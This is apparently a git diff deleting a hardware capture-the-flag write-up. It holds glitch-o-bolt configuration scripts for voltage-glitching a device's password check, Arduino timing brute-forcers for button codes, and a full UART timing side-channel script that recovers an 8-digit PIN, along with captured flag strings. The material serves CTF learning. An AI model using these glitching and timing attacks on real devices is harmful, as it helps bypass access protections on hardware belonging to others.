functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py deleted file mode 100644 index 94c453d..0000000 --- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py +++ /dev/null @@ -1,155 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - """ - Discover a five-digit code by sending candidate pulses and measuring the - interval from sending OK (pin 8) until input goes HIGH using wait_for(). - - For each digit: - - Send one pulse for previously found digits. - - Send repeated pulses of the candidate digit to fill 5 pulses. - - Pulse OK (pin 8) to trigger the device. - - Measure duration using wait_for() for input HIGH. - - Select candidate with the longest LOW duration before HIGH. - """ - candidate_pins = [9, 10, 11] - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} - - button_ok() - functions.add_text("[INFO] Pulsing output pin 8 to reset device...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - functions.add_text("[INFO] Starting full code discovery sequence...") - - for digit_index in range(5): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") - results = {} - - for test_pin in candidate_pins: - # Build sequence: previously found digits + candidate repeated - sequence = code_sequence.copy() - remaining_pulses = 5 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)} ...") - - # Send sequence pulses (without timing) - for pin in sequence: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.1) - - # Start timer and pulse OK (pin 8) - start_time = time.time() - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - - # Wait for input to go HIGH and measure duration - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Use the Arduino-provided LOW duration, fallback to timer if needed - duration = result.get("duration_ms", int((end_time - start_time) * 1000)) - functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") - - results[test_pin] = duration - time.sleep(0.3) - - # Select candidate with longest duration (correct digit) - correct_pin = max(results, key=results.get) - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - code_sequence.append(correct_pin) - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py deleted file mode 100644 index 01de69c..0000000 --- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py +++ /dev/null @@ -1,152 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} - - functions.add_text("[INFO] Starting full code discovery sequence") - - for digit_index in range(4): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}") - results = {} - - for test_pin in candidate_pins: - # Build the sequence: previously found digits + candidate repeated to fill 4 pulses - sequence = code_sequence.copy() - remaining_pulses = 4 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)}") - - # Send all pulses in the sequence, starting timer immediately before the fourth pulse - for i, pin in enumerate(sequence): - if i == len(sequence) - 1: - # Start timer immediately before sending the fourth pulse - start_time = time.time() - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - # Allow a short interval for the device to react - time.sleep(0.05) - # Wait for the input to go HIGH and capture result - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Safely extract duration from result or compute fallback - if isinstance(result, dict): - duration = result.get("duration_ms", - int((end_time - start_time) * 1000)) - else: - duration = int((end_time - start_time) * 1000) - - functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") - results[test_pin] = duration - else: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - # small pause between candidates - time.sleep(0.8) - - # Choose the candidate with the longest duration for this digit - correct_pin = max(results, key=results.get) - code_sequence.append(correct_pin) - - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence - -def stop_glitch(): - functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py deleted file mode 100644 index f7e8036..0000000 --- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py +++ /dev/null @@ -1,123 +0,0 @@ -import functions -import threading -import time - -###### Config values ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1000000 -UART_NEWLINE = "\n" - -LENGTH = 12 -REPEAT = 1 -DELAY = 0 - -### name, enabled, string to match ### -conditions = [ - ['run', True, 'Password:', 'try_glitch'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### Custom functions ###### -def try_glitch(): - Len = functions.get_config_value("length") - Rep = functions.get_config_value("repeat") - Del = functions.get_config_value("delay") - time.sleep(0.2) - - tx_thread = threading.Thread( - target=functions.send_uart_message, - args=("aaaaaaaaaaaaaaaaaaaaa",), - daemon=True - ) - - glitch_thread = threading.Thread( - target=functions.start_glitch, - args=(Len, Rep, Del), - daemon=True - ) - - glitch_thread.start() - tx_thread.start() - - try: - current_delay = int(Del) - except (ValueError, TypeError): - current_delay = 0 - - try: - current_repeat = int(Rep) - except (ValueError, TypeError): - current_repeat = 0 - - new_delay = current_delay + 1 - - if new_delay >= 51: - new_delay = 0 - new_repeat = current_repeat + 1 - if new_repeat >= 20: - new_repeat = 1 - functions.set_config_value("repeat", new_repeat) - - functions.set_config_value("delay", new_delay) - - -def stop_glitch(): - buf = functions.read_uart_buffer() - - if "TS{D@mn_y0u_@r3_g006}" in buf: - functions.start_glitch(16, 1, 0) - else: - functions.set_condition_value(0, False) - functions.set_uart_switch(False) - - -###### Inactivity watchdog ###### -def config_inactivity_monitor(timeout=5): - """ - Monitor 'delay' and 'repeat' configuration values. - Restart device if they do not change for 'timeout' seconds - AND condition 0 remains True. - """ - # Wait for functions.config to be initialised - while True: - try: - _ = functions.get_config_value("delay") - break - except AttributeError: - print("[Watchdog] Waiting for configuration to initialise...") - time.sleep(1) - - last_delay = functions.get_config_value("delay") - last_repeat = functions.get_config_value("repeat") - last_change_time = time.time() - - while True: - try: - current_delay = functions.get_config_value("delay") - current_repeat = functions.get_config_value("repeat") - condition_active = functions.get_condition_value(0) - - if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): - last_change_time = time.time() - last_delay = current_delay - last_repeat = current_repeat - - if condition_active and (time.time() - last_change_time > timeout): - print("[Watchdog] Inactivity detected. Restarting glitch...") - functions.start_glitch(16, 1, 0) - last_change_time = time.time() - - except Exception as e: - print(f"[Watchdog Error] {e}") - - time.sleep(1) - - -# Start watchdog thread after slight delay to allow initialisation -def start_watchdog(): - time.sleep(2) # ensures 'functions.config' is ready - monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) - monitor_thread.start() - - -threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py deleted file mode 100644 index c5188aa..0000000 --- a/Misc/12Sec_CTF_V1/docs/12_solution.py +++ /dev/null @@ -1,274 +0,0 @@ -#!/usr/bin/env python3 -""" -===================================================================== -UART Timing Analysis PIN Discovery Script (configurable start) -===================================================================== -Performs timing-based side-channel analysis to discover an 8-digit PIN -via UART, using the Arduino I/O controller for synchronised monitoring. - -This variant allows pre-setting a starting code (prefix) and the -starting position index so that discovery may resume part-way through. -Version: 1.3 -===================================================================== -""" - -import time -import serial -from arduinIO import ArduinoController - -# ================================================================ -# Configuration -# ================================================================ - -###### UART Configuration ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1199 -UART_NEWLINE = "\n" - -###### Arduino I/O Configuration ###### -ARDIO_PORT = "/dev/ttyACM0" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 - -###### Analysis Parameters ###### -PIN_LENGTH = 8 -KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] -PAD_CHAR = 'A' -ATTEMPTS_PER_CANDIDATE = 1 - -# Optionally set a starting prefix and a starting position. -# START_CODE is the known prefix (string). It may be empty. -# START_POS is the zero-based index at which to begin discovery. -# Example: START_CODE = "253", START_POS = 3 will begin at position 4. -START_CODE = "" # e.g. "253" -START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE). - -###### Delay Configuration (seconds) ###### -INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate -SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input -POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position -MAX_WAIT_MS = 800 # Maximum wait for input response -MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms) - -# ================================================================ -# Helper Functions -# ================================================================ - -def log(msg: str, level: str = "INFO"): - """Structured log output with level labels.""" - prefix = { - "INFO": "\033[94m[INFO]\033[0m", - "TEST": "\033[93m[TEST]\033[0m", - "ATTEMPT": "\033[90m[ATTEMPT]\033[0m", - "RESULT": "\033[92m[RESULT]\033[0m", - "ERROR": "\033[91m[ERROR]\033[0m", - "SUCCESS": "\033[96m[SUCCESS]\033[0m" - }.get(level, "[LOG]") - print(f"{prefix} {msg}") - - -def send_uart_message(ser, message: str): - """Send full message to UART target.""" - if not message.endswith(UART_NEWLINE): - message += UART_NEWLINE - ser.write(message.encode("utf-8")) - ser.flush() - - -def validate_start_settings(): - """Validate START_CODE and START_POS consistency and bounds.""" - if not isinstance(START_CODE, str): - raise ValueError("START_CODE must be a string.") - if not isinstance(START_POS, int): - raise ValueError("START_POS must be an integer.") - if len(START_CODE) != START_POS: - raise ValueError("Length of START_CODE must equal START_POS.") - if START_POS < 0 or START_POS > PIN_LENGTH: - raise ValueError("START_POS out of valid range.") - if len(START_CODE) > PIN_LENGTH: - raise ValueError("START_CODE longer than PIN_LENGTH.") - - -# ================================================================ -# PIN Discovery Logic -# ================================================================ - -def find_code(ser, arduino): - """ - Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW. - - Important: no UART reading occurs during the timed interval. UART is only - drained before sending (to remove stale lines) and immediately after the - timing measurement completes. This avoids introducing extra delay into - the critical timing path. - """ - - validate_start_settings() - log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO") - - discovered = START_CODE - start_pos = START_POS - - remaining_positions = PIN_LENGTH - start_pos - if remaining_positions <= 0: - log(f"No positions to discover. Current code: {discovered}", "INFO") - return discovered - - total_candidates = len(KEYSPACE) - total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE - eta_start = time.time() - attempts_done = 0 - - for pos in range(start_pos, PIN_LENGTH): - human_pos = pos + 1 - log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO") - timings = {} - - # Upper bound grows with each identified position (relative index) - relative_index = pos - start_pos - upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20 - - for idx, candidate in enumerate(KEYSPACE): - candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1)) - durations = [] - - for attempt in range(ATTEMPTS_PER_CANDIDATE): - # Best-effort non-blocking drain of stale UART lines BEFORE sending - try: - while ser.in_waiting: - _ = ser.readline() # discard - except Exception: - pass - - # Clear any previous short event records on Arduino - try: - arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1) - except Exception: - pass - - # Start timing immediately before send (critical interval begins) - t_start = time.time() - send_uart_message(ser, candidate_pin + UART_NEWLINE) - - # short settle after send (does not affect measurement start) - time.sleep(SEND_SETTLE_DELAY) - - # Perform event-based capture (no UART reads here) - dur_ms = 0 - try: - events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS) - except Exception: - events = [] - - if events: - low_event = next((ev for ev in events if ev.get("state") == "LOW"), None) - if low_event: - dur_ms = low_event.get("duration_ms", 0) - - # Fallback blocking wait_if_no_event (still no UART reads) - if dur_ms == 0: - try: - result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW") - t_end = time.time() - if isinstance(result, dict): - dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000)) - else: - dur_ms = int((t_end - t_start) * 1000) - except Exception: - dur_ms = 0 - - # Immediately after measurement, drain UART non-blocking and check for success - try: - while ser.in_waiting: - line = ser.readline().decode(errors='ignore').strip() - if line and line.startswith("TS{"): - # Found success; append this candidate and return the discovered code - discovered += candidate - log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS") - return discovered - except Exception: - # ignore serial read errors and continue - pass - - # Only include durations that lie within the allowed window - if 600 <= dur_ms <= upper_bound: - durations.append(dur_ms) - - # Update ETA (safe to compute outside critical interval) - attempts_done += 1 - elapsed = time.time() - eta_start - avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0 - remaining_attempts = total_attempts - attempts_done - eta_remaining = remaining_attempts * avg_time_per_attempt - eta_min, eta_sec = divmod(int(eta_remaining), 60) - - # Overwrite attempt line - print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True) - - time.sleep(INTER_ATTEMPT_DELAY) - - # newline after candidate block - #print() - - # Compute average using only valid durations - avg_duration = (sum(durations) / len(durations)) if durations else 0.0 - timings[candidate] = avg_duration - print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True) - print() - - # Select best candidate (largest average); fallback to '0' if none valid - if any(v > 0 for v in timings.values()): - selected = max(timings, key=timings.get) - else: - selected = '0' - - discovered += selected - log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO") - - # Progress display - print(f"\n ┌───────────────────────────────┐") - print(f" │ Progress: {discovered:<8} │") - print(f" └───────────────────────────────┘\n") - - # Optional settle between positions; keep minimal if timing-sensitive - if POSITION_SETTLE_DELAY: - time.sleep(POSITION_SETTLE_DELAY) - - log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS") - return discovered - - - -# ================================================================ -# Main Execution -# ================================================================ - -def main(): - log("Initialising Arduino controller...", "INFO") - arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) - arduino.connect() - version = arduino.get_version() - log(f"Connected to Arduino firmware {version}", "INFO") - - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO") - - log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO") - ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) - log("UART connection established", "INFO") - - try: - pin = find_code(ser, arduino) - log(f"Discovered PIN: {pin}", "SUCCESS") - except KeyboardInterrupt: - log("Process interrupted by user", "ERROR") - except Exception as e: - log(f"Unexpected error: {e}", "ERROR") - finally: - ser.close() - arduino.disconnect() - log("Connections closed", "INFO") - - -if __name__ == "__main__": - main() diff --git a/Misc/12Sec_CTF_V1/docs/arduinIO.py b/Misc/12Sec_CTF_V1/docs/arduinIO.py deleted file mode 100644 index 704d31d..0000000 --- a/Misc/12Sec_CTF_V1/docs/arduinIO.py +++ /dev/null @@ -1,228 +0,0 @@ -""" -===================================================================== -ARDUINO SERIAL CONTROLLER CLASS (PYTHON) -===================================================================== -Version: 1.3.0 -Author: [Your Name] - -DESCRIPTION ---------------------------------------------------------------------- -This module provides a class-based interface to communicate with -the Arduino Serial Pin Control and Monitoring Firmware v1.3.0. - -It supports all implemented serial commands including: -- Version retrieval -- Dynamic pin mode configuration -- Pin map querying -- Output control (default state, timed pulse) -- Input monitoring and state reading -- Duration measurement and blocking wait - -===================================================================== -DEPENDENCIES ---------------------------------------------------------------------- -- pyserial (install with: pip install pyserial) - -===================================================================== -EXAMPLE USAGE ---------------------------------------------------------------------- -from arduino_controller import ArduinoController -import time - -# Create controller instance -arduino = ArduinoController(port="COM3", baudrate=115200) - -# Connect and initialise -arduino.connect() -print("Version:", arduino.get_version()) - -# Configure pins -arduino.set_mode(2, "INPUT") -arduino.set_mode(8, "OUTPUT") -arduino.set_mode(9, "OUTPUT") -arduino.set_mode(10, "OUTPUT") -arduino.set_mode(11, "OUTPUT") - -print("Pin map:", arduino.get_pinmap()) - -# Set outputs low, pulse one pin, monitor input -arduino.set_default(8, "LOW") -arduino.set_default(9, "LOW") -arduino.set_default(10, "LOW") -arduino.set_default(11, "LOW") - -arduino.set_for(8, "HIGH", 300) -arduino.watch(2) - -# Read input state and duration -state = arduino.get_state(2) -duration = arduino.get_duration(2) -print(f"Pin 2 state: {state}, duration since change: {duration} ms") - -# Wait for a state change to HIGH -arduino.wait_for(2, "HIGH") - -# Disconnect -arduino.disconnect() -===================================================================== -""" - -import serial -import time - - -class ArduinoController: - """Provides a structured interface for Arduino serial control.""" - - def __init__(self, port, baudrate=115200, timeout=1.0): - self.port = port - self.baudrate = baudrate - self.timeout = timeout - self.ser = None - - # ------------------------------------------------------------- - # Connection management - # ------------------------------------------------------------- - def connect(self): - """Establish serial connection and wait for READY signal.""" - self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout) - time.sleep(2) # Allow Arduino reset - while True: - line = self._read_line() - if line == "READY": - break - - def disconnect(self): - """Close serial connection cleanly.""" - if self.ser and self.ser.is_open: - self.ser.close() - - # ------------------------------------------------------------- - # Internal communication utilities - # ------------------------------------------------------------- - def _send_command(self, command, expect_response=True): - """Send a command string to the Arduino.""" - if not self.ser or not self.ser.is_open: - raise ConnectionError("Serial connection not established.") - self.ser.write((command + "\n").encode("utf-8")) - if expect_response: - return self._read_line() - return None - - def _read_line(self): - """Read a single line from serial and strip whitespace.""" - line = self.ser.readline().decode("utf-8").strip() - return line - - # ------------------------------------------------------------- - # Core command wrappers - # ------------------------------------------------------------- - def get_version(self): - """Return firmware version.""" - return self._send_command("GET_VERSION") - - def set_mode(self, pin, mode): - """Configure a pin as INPUT or OUTPUT.""" - return self._send_command(f"SET_MODE:{pin}:{mode}") - - def get_pinmap(self): - """Return current pin assignments.""" - return self._send_command("GET_PINMAP") - - def set_default(self, pin, state): - """Set an output pin to a default HIGH or LOW state.""" - return self._send_command(f"SET_DEFAULT:{pin}:{state}") - - def set_for(self, pin, state, duration_ms): - """Set an output pin state for a specific duration (ms).""" - return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}") - - def watch(self, pin): - """Start watching an input pin for state changes.""" - return self._send_command(f"WATCH:{pin}") - - def watch_pin(self, pin, duration_ms=2000): - """ - Activates WATCH mode for a pin and collects CHANGE events for a period. - - Args: - pin (int): Input pin number to watch. - duration_ms (int): How long to listen for events. - - Returns: - list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...] - """ - # Use the existing _send_command() method - self._send_command(f"WATCH:{pin}", expect_response=False) - messages = [] - start = time.time() - - while (time.time() - start) * 1000 < duration_ms: - if self.ser.in_waiting: - line = self._read_line() - if line.startswith("CHANGE:"): - # Example: CHANGE:2:HIGH:1421 - parts = line.split(":") - if len(parts) == 4: - try: - messages.append({ - 'pin': int(parts[1]), - 'state': parts[2], - 'duration_ms': int(parts[3]) - }) - except ValueError: - pass - time.sleep(0.005) - - return messages - - - def get_state(self, pin): - """Return current state (HIGH or LOW) of a pin.""" - response = self._send_command(f"GET_STATE:{pin}") - if response.startswith("STATE:"): - return response.split(":")[2] - return response - - def get_duration(self, pin): - """Return duration since last state change.""" - response = self._send_command(f"GET_DURATION:{pin}") - if response.startswith("DURATION:"): - return int(response.split(":")[2]) - return response - - def wait_for(self, pin, state): - """Block until specified pin reaches given state.""" - response = self._send_command(f"WAIT_FOR:{pin}:{state}") - if response.startswith("WAIT_RESULT:"): - _, pin_str, final_state, duration = response.split(":") - return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)} - return response - - # ------------------------------------------------------------- - # Continuous monitoring - # ------------------------------------------------------------- - def monitor(self, callback=None): - """ - Continuously read from serial and process change notifications. - Optionally pass a callback(line) for custom handling. - """ - print("[INFO] Monitoring started. Press Ctrl+C to stop.") - try: - while True: - line = self._read_line() - if line: - if callback: - callback(line) - else: - print(line) - except KeyboardInterrupt: - print("\n[INFO] Monitoring stopped.") - - # ------------------------------------------------------------- - # Utility - # ------------------------------------------------------------- - def flush(self): - """Flush serial input buffer.""" - if self.ser: - self.ser.reset_input_buffer() diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: 